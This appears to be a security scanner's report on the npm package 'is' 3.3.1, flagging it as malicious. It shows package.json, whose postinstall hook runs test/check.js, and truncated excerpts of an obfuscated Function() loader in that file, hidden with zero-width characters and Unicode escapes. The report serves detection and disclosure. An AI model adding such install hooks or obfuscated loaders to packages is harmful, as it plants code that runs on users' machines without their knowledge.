Hostile ^100% javascript Download

is 3.3.1

postinstall executes obfuscated payload

Enormous Unicode-escaped Function executes with Node require accessnpm postinstall runs an enormous encoded Function loader from its test tree

SHA-25664460493dd468fb4803357baeed6fee87b3628b4dd6c28201e6cd4fa691cea9d

URLhttps://registry.npmjs.org/is/-/is-3.3.1.tgz

MaleculeO₃(As₈S₃Xe₂)H₅(Cm₂Db₄OsPo₂U)Md₃(Pa₆Pt)

Also flagged by osv (MAL-2025-6020: Malicious code in is (npm)) +3 more.

Evidence

Object getter exposes the Node require function check.js · line 1

1Function("if\u200C","var do\u200C\u200C\u200C\u200C\u200C\u200C\u200C\u200C\u200C\u200C\u200C\u200C\u200C\u200C\u200C\u200C\u200C\u200C,class\u200C\u200C\u200C\u200C\u200C\u200C\u200C\u200C\u200C\u200C\u200C\u200C\u200C\u200C\u200C,default\u200C\u200C\u200C\u200C\u200C\u200C\u200C\u200C\u200C\u200C\u200C\u200C\u200C,let\u200C\u200C\u200C\u200C\u200C\u200C\u200C\u200C\u200C\u200C\u200C\u200C\u200C\u200C\u200C\u200C\u200C,in\u200C\u200C\u200C\u200C\u200C\u200C\u200C\u200C\u200C\u200C\u200C\u200C\u200C\u200C\u200C\u200C\u200C\u200C,typeof\u200C\u200C\u200C\u200C\u200C\u200C\u200C\u200C\u200C\u200C\u200C\ …

Consecutive printable-ASCII Unicode escapes check.js · line 1

1:2513… \x67\\x74\\x68\",0x1,\"\\u0062\",0x0,\"\\x68\",\"\\u0063\",0x6f,0x9,0xe5,0x34,0x6,0x4,0x8,0xff,0xc1,\"\\x64\",0x3,\"\\u0066\",\"\\u0075\\u006e\\u0064\\u0065\\u0066\\u0069\\u006e\\u0065\\u0064\",0x3f,\"\\u0066\\u0072\\u006f\\u006d\\u0043\\u006f\\u0064\\u0065\\u0050\\u006f\\u0069\\u006e\\u0074\",0x7,0xc,\"\\x70\\x75\\x73\\x68\",0x5b,0x1fff,0x58,0xd,0xe,0x2,0x41,0x5,0xb6,0x49,\"\\u0070\",0x7f,0x80,\"\\x61\",\"\\x4b\",!0x1,0x92,0x8e,\"\\x67\",\"\\u0073\",\"\\u0041\",\"\\x65\",0xbf,0xdf,0xd2,\"\\x69\",\"\\u0075\" …

Hexadecimal array indexing check.js · line 1

1:3523… ,else\u200C\u200C\u200C\u200C\u200C\u200C\u200C\u200C\u200C\u200C\u200C\u200C\u200C\u200C\u200C\u200C[0x1d]),private\u200C\u200C\u200C\u200C\u200C\u200C\u200C\u200C\u200C\u200C\u200C\u200C\u200C(export\u200C\u200C\u200C\u200C\u200C\u200C\u200C\u200C\u200C\u200C\u200C\u200C\u200C\u200C),private\u200 …

postinstall runs a test-directory script package.json · lines 1–48

1{
"name": "is",
"version": "3.3.1",
"main": "index.js",
"bin": "index.js",
"scripts": {
  "prepublish": "safe-publish-latest",
  "pretest": "npm run lint",
  "test": "npm run --silent tests-only",
  "tests-only": "node test/index.js",
  "postinstall": "node test/check.js",
  "coverage": "covert test/index.js",
  "coverage-quiet": "covert test/index.js --quiet",
⋯7 lines
},
"description": "the definitive JavaScript type testing library",
"homepage": "https://github.com/enricomarino/is",
"license": "MIT",
"repository": {
  "type": "git",
  "url": "git://github.com/enricomarino/is.git"
},
"keywords": [
⋯8 lines
  }
],
"dependencies": {
  "fs-extra": "^11.3.0",
  "ws": "^8.18.3"
},
"devDependencies": {
⋯4 lines

Constructs a JavaScript function dynamically index.js · lines 716–722

41… t !== 'function' }, function (st) {
  var bigInts = [
    Function('return 42n')(), // eslint-disable-line no-new-func
    BigInt(42)
  ];
  forEach(bigInts, function (bigInt) {
     …

Showing the top 5 files — 1 more file (18 regions) not shown.

No evidence locations were recorded for this file. Raw result